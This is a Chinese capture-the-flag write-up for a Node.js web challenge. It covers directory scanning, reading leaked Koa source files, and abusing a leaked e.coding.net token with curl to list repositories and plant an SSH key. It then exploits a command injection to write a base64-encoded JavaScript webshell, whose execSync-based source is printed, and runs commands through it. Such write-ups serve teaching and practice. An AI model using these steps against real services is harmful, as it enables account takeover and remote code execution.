DAS4-你听说过 js 的 webshell 吗的解题思路 题目信息
题目名
类型
难度
DAS4-你听说过 js 的 webshell 吗
WEB
困难
FLAG
知识点
代码审计 nodejs
命令执行
nodejs 源代码泄漏
coding 其他 git 托管凭据泄漏
解题步骤 基本信息 打开网页
直接打开 f12 发现 api 与注释
目录扫描 这里其实想说的是扫描该网站 看看有没有发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 $ dirsearch -u http://127.0.0.1 _|. _ _ _ _ _ _|_ v0.4.2.8 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11458 Output File: /tmp/reports/ Target: http://127.0.0.1/ [23:23:56] Starting: [23:23:56] 403 - 9B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [23:23:56] 403 - 9B - /%2e%2e//google.com [23:23:58] 400 - 14B - /\..\..\..\..\..\..\..\..\..\etc\passwd [23:24:00] 200 - 679B - /app.js [23:24:01] 403 - 9B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [23:24:02] 200 - 439B - /config.js [23:24:03] 200 - 170B - /Dockerfile [23:24:07] 200 - 627B - /package.json [23:24:07] 200 - 29KB - /package-lock.json [23:24:08] 200 - 9B - /Readme.md [23:24:08] 200 - 9B - /README.md [23:24:08] 200 - 9B - /README.MD [23:24:08] 200 - 9B - /ReadMe.md [23:24:08] 200 - 9B - /readme.md [23:24:12] 200 - 6KB - /views Task Completed
入口点发现 发现存在相关的 js web 文件 尝试查看是否有其他泄漏。
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const Koa = require ('koa' )const bodyparser = require ('koa-bodyparser' )()const static = require ('koa-static' )const cors = require ('./cors' )const template = require ('./middlewares/template' )const route = require ('./middlewares/route' )const api = require ('./middlewares/api' )const listen = require ('./middlewares/listen' )const production = process.env .NODE_ENV === 'production' const app = new Koa ()app .use (static ('./' )) .use (template ('views' , { })) .use (bodyparser) .use (cors) .use (route) .use (api) listen (app)
这里所有的证据都说明了 这个网站泄漏了源代码 也就是 js 文件
接下来测试是否存在 ecosystem.config.js 文件 来验证这个结论
我们可以试试 https://127.0.0.1/ecosystem.config.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 const package = require('./package.json') module.exports = { apps: [ { name : package.name, script : 'app.js', args : 'one two', instances : 1 , autorestart : true , watch : true , ignore_watch : [ 'node_modules', 'logs', '.git', 'statics'] , error_file : 'logs/err.log', out_file : 'logs/out.log', log_file : 'logs/all.log', log_date_format : 'YYYY-MM-DD HH: mm: ss', max_memory_restart : '1 G', env: { NODE_ENV : 'development', } , env_production: { NODE_ENV : 'production', } } ] , deploy: { production: { 'post-deploy' : 'npm install && pm2 reload ecosystem.config.js --env production' } } } ;
很明显是存在 js 代码泄漏的
检查 middleware 通过 app.js 文件
可以翻找到 如下的库与中间件
1 2 3 4 const template = require('./middlewares/template') const route = require('./middlewares/route') const api = require('./middlewares/api') const listen = require('./middlewares/listen')
api listen route template 四个分别通过依赖注入的方式引入
这里直接去看 api
对于 api 分别尝试这三个文件
1 2 3 https://127.0.0.1/middlewares/api.js https://127.0.0.1/middlewares/api https://127.0.0.1/middlewares/api/index.js
可以发现 index.js 有返回
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 const fs = require ('fs' )const path = require ('path' )const router = require ('koa-router' )()const tools = require ('../../utils' )const Response = require ('../response' )const apiPath = path.join (__dirname, '../../api' )function registeApi (dir) { fs.readdirSync (dir).forEach (fileName => { const filePath = path.join (dir, fileName) if (fs.statSync (filePath).isDirectory ()) return registeApi (filePath) if (!filePath.endsWith ('.js' )) return console .info ('非 JS 文件不要放在 api 目录下' + filePath) regist (filePath); }) } function regist (filePath ) { const api = require (filePath) const apiName = getApiName (filePath) for (const type of Object .keys (api)) { router[type](apiName, async (ctx) => { await api[type](getRequest (ctx), new Response (ctx)) }) apiLog (type, apiName) } } function getApiName (filePath ) { return filePath.cutEnd (3 ) .replace (apiPath, '' ) .replace (/\\/g , '/' ) } function getRequest (ctx ) { return { params : { ...ctx.request .body , ...tools.getUrlParams (ctx.request .url ) }, page : tools.getPagination (ctx), ctx, } } function apiLog (type, apiName, apiIntro = '' ) { console .info (`${apiIntro} \n[${type.toUpperCase()} ]: ${apiName} \n****************************************` ) } registeApi (apiPath)module .exports = (() => router.routes ())()
整理逻辑 发现端倪 在 /api/XXX 下的 任何 /api/path/to/api.js 都会被注册成 /path/to/api
那么 查看 / 下的所有请求出去的 api 你可以直接 grep 拿到如下的数据
1 2 3 4 5 <script src="https://fastly.jsdelivr.net/npm/axios@0.21.1/dist/axios.min.js" ></script> axios.get ('/v2/coding/projectList' ) axios.get ('/v2/coding/versionList' , { axios.get ('/v2/coding/distList' , { return (await axios.get ('/v2/coding/distExist' , {
一共 4 个 api
无论是哪个 api 你都可以进行跟踪
例如第二个 api /v2/coding/versionList
所在的位置根据上面 middleware/api 的推断
可以发现放在了如下的位置
喜欢写注释真是好程序员 (确信)
1 /api/v2/coding/versionList.js
访问后我们可以得到如下的 js 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 const path = require ('path' )const coding = require ('../../../request/coding' )const distExtname = [ '.tgz' , '.exe' , '.dmg' , '.AppImage' , ] module .exports = { async get (request, response ) { const ProjectId = Number (request.params .ProjectId ) let data = [] const storeList = (await coding.post ('/open-api' , { Action : 'DescribeProjectDepotInfoList' , ProjectId , })).data .Response .DepotData .Depots for (const store of storeList) { const versionList = (await coding.post ('/open-api' , { Action : 'DescribeGitReleases' , DepotId : Number (store.Id ), Status : 1 , PageNumber : 1 , PageSize : 100 , })).data .Response .ReleasePageList .Releases data = [...data, ...versionList] } data.sort ((a, b ) => a.TagName < b.TagName ? 1 : -1 ) response.setData (data) response.success () } }
我们可以发现他是另一个后端 api 的代理 而那个后端定义在 request/coding 中
获得 token 我们可以通过相对的路径得到 url
访问 http://127.0.0.1/request/coding.js 中获取
1 2 3 4 5 6 7 8 9 10 11 12 13 const axios = require ('axios' )const codingToken = 'token e(This_Is_real_Token)c' const coding = axios.create ({ baseURL : 'https://e.coding.net' , headers : { Authorization : codingToken, }, }) module .exports = coding
网上搜索 e.coding.net 发现是一个 devops 平台 具有相当的利用价值
同时这里也暴露了 对应的 Token
接管用户账户 进一步使用搜索引擎可以发现对应的 openapi 文档 https://coding.net/help/openapi
如果发现了项目 https://github.com/Esonhugh/tencent-coding-openapi/
这里提供了非常方便的利用工具 可以一键列出项目和仓库 并且可以增加 ssh keys 只需要导入一个 api token 即可。
发现是个人 api (token 开头)
列出项目
1 2 3 4 5 6 7 8 9 curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{ "Action": "DescribeCodingProjects", "PageNumber": 1, "PageSize": 10 }' python ./digging-shell.py list_projects ic| r.status_code: 200 ic| r.headers: Headers({'server' : 'Nginx' , 'date' : 'Mon, 17 Apr 2023 11:04:54 GMT' , 'content-type' : 'application/json' , 'transfer-encoding' : 'chunked' , 'connection' : 'keep-alive' , 'content-encoding' : 'gzip' , 'x-target-env' : 'prod_with_canary' })
Response
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 { "Response" : { "RequestId" : "10bcd5a9-7d9a-4a80-a1ec-e833d4c89d77" , "Data" : { "PageNumber" : 1 , "PageSize" : 10 , "TotalCount" : 1 , "ProjectList" : [ { "Id" : 11680350 , "CreatedAt" : 1678157689000 , "UpdatedAt" : 1678157689000 , "Status" : 1 , "Type" : 2 , "MaxMember" : 0 , "Name" : "leak-token-leak-git" , "DisplayName" : "leak my git" , "Description" : "Wow! you got there! SuperCool man!" , "Icon" : "https://e.coding.net/static/project_icon/scenery-version-2-10.svg" , "TeamOwnerId" : 3921812 , "UserOwnerId" : 0 , "StartDate" : 0 , "EndDate" : 0 , "TeamId" : 3921812 , "IsDemo" : false , "Archived" : false , "ProgramIds" : [ ] } ] } } }
列出仓库
1 2 3 4 5 6 7 8 curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{ "Action": "DescribeProjectDepotInfoList", "ProjectId": 11414022 }' python ./digging-shell.py list_repos ic| r.status_code: 200 ic| r.headers: Headers({'server' : 'Nginx' , 'date' : 'Mon, 17 Apr 2023 11:04:00 GMT' , 'content-type' : 'application/json' , 'transfer-encoding' : 'chunked' , 'connection' : 'keep-alive' , 'content-encoding' : 'gzip' , 'x-target-env' : 'prod_with_canary' })
Response
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { "Response" : { "RequestId" : "1b4dee8f-afce-4495-8e8b-d776c8097397" , "DepotData" : { "Depots" : [ { "Id" : 10467875 , "Name" : "leak-source-code" , "HttpsUrl" : "https://e.coding.net/vuln-git/leak-token-leak-git/leak-source-code.git" , "ProjectId" : 11680350 , "SshUrl" : "git@e.coding.net:vuln-git/leak-token-leak-git/leak-source-code.git" , "WebUrl" : "https://vuln-git.coding.net/p/leak-token-leak-git/d/leak-source-code" , "VcsType" : "git" , "ProjectName" : "leak-token-leak-git" , "Description" : "Got there!" , "CreatedAt" : 1678157728000 , "LastPushAt" : 0 } ] , "Page" : { "PageNumber" : 1 , "PageSize" : 1 , "TotalPage" : 1 , "TotalRow" : 1 } } } }
发现要登陆 尝试获取 sshkey
创建 sshkey
1 2 3 4 5 6 7 8 curl https://e.coding.net/open-api -H "Authorization: token e(This_Is_real_Token)c" -d '{ "Action": "CreateSshKey", "Title": "Hacker", "Content": "ssh-rsa AAAA== rsatest", "ExpirationDate": "9999-12-31" }' python ./digging-shell.py add_ssh_key sshkey.rsa
成功后 git clone git@e.coding.net:XXXXX/XXXX/XXXX.git
项目源代码 进行审计。 把起来项目跑起来。
可以在 api 文件夹中找到一个 /v3/UpdateAllProduct.js 文件 这个文件也是可以使用的 api 在 html 主页中可以找到对应的文件泄漏。
存在命令注入的可能 注入非常的简单 projectName 之类的参数都可以注入 因为这些是直接拼接进去的。
正式的题目环境应该是禁止反向 shell 连接出来的
第一种办法是纯粹的无回显的布尔命令注入
但是这里滥用一下代码中的存在的 js CGI 魔法 我们可以尝试写入一个 webshell js 来进行 Getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 # use as curl curl "https://127.0.0.1/v3/UpdateAllProduct" \ -H 'x-coding-event: ping1' \ -X POST -k \ --data-raw "artifact.artifactRepoName=12&artifact.artifactPkgName=\";echo ${BASE64WEBSHELL}|base64 -d > /app/api/v2/badWebShell.js #\"&artifact.artifactVersionName=1.4&artifact.projectName=testing" # python usage python digging-shell.py upload_shell ./upload_shell.js https://nodejs-hack.cloud.eson.ninja # https://nodejs-hack.cloud.eson.ninja replace your url 不要加 / 我的服务是禁止nodejs 外连其他服务 所以会导致内部的js的命令拼接执行时候的 curl 失效,导致一次 500 ,否则会返回服务正常更新的 json # output like following ic| file_data: 'Y29uc3<base64ed file data>AAA=' Traceback (most recent call last): ..... httpx.ReadTimeout: The read operation timed out
其中 BASE64WEBSHELL 的值为 js webshell 的样本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 const fs = require('fs') const path = require('path') const { execSync } = require('child_process') module.exports = { // API POST async post(request, response) { // console.log(request.params) artifactPkgName = request.params.artifactPkgName // Save Path const localDir = __dirname // curl command const curlCMD = artifactPkgName // Create Path fs.mkdirSync(localDir, { recursive: true }) // download artificate ResponseData = execSync(curlCMD, { cwd: localDir }).toString() // Response response.success(ResponseData) } }
由于 pm2 会自动托管和加载 api 文件夹下的 js 文件 所以我们可以直接访问 webshell
webshell 链接地址为 https://127.0.0.1/v2/badWebShell 请求方式为 POST
POST Form 的内容为 ‘artifactPkgName={CMD}’
参考 check-shell 函数
1 2 3 4 5 python ./digging-shell.py get_shell https://nodejs-hack.cloud.eson.ninja ls ic| command : 'ls' ic| resp.status_code: 200 badWebShell.js coding
Flag 拿到 webshell 之后 cat /flag 即可拿到 flag
flag 是 mount 进入容器进程中的 不要放到 /app 目录下即可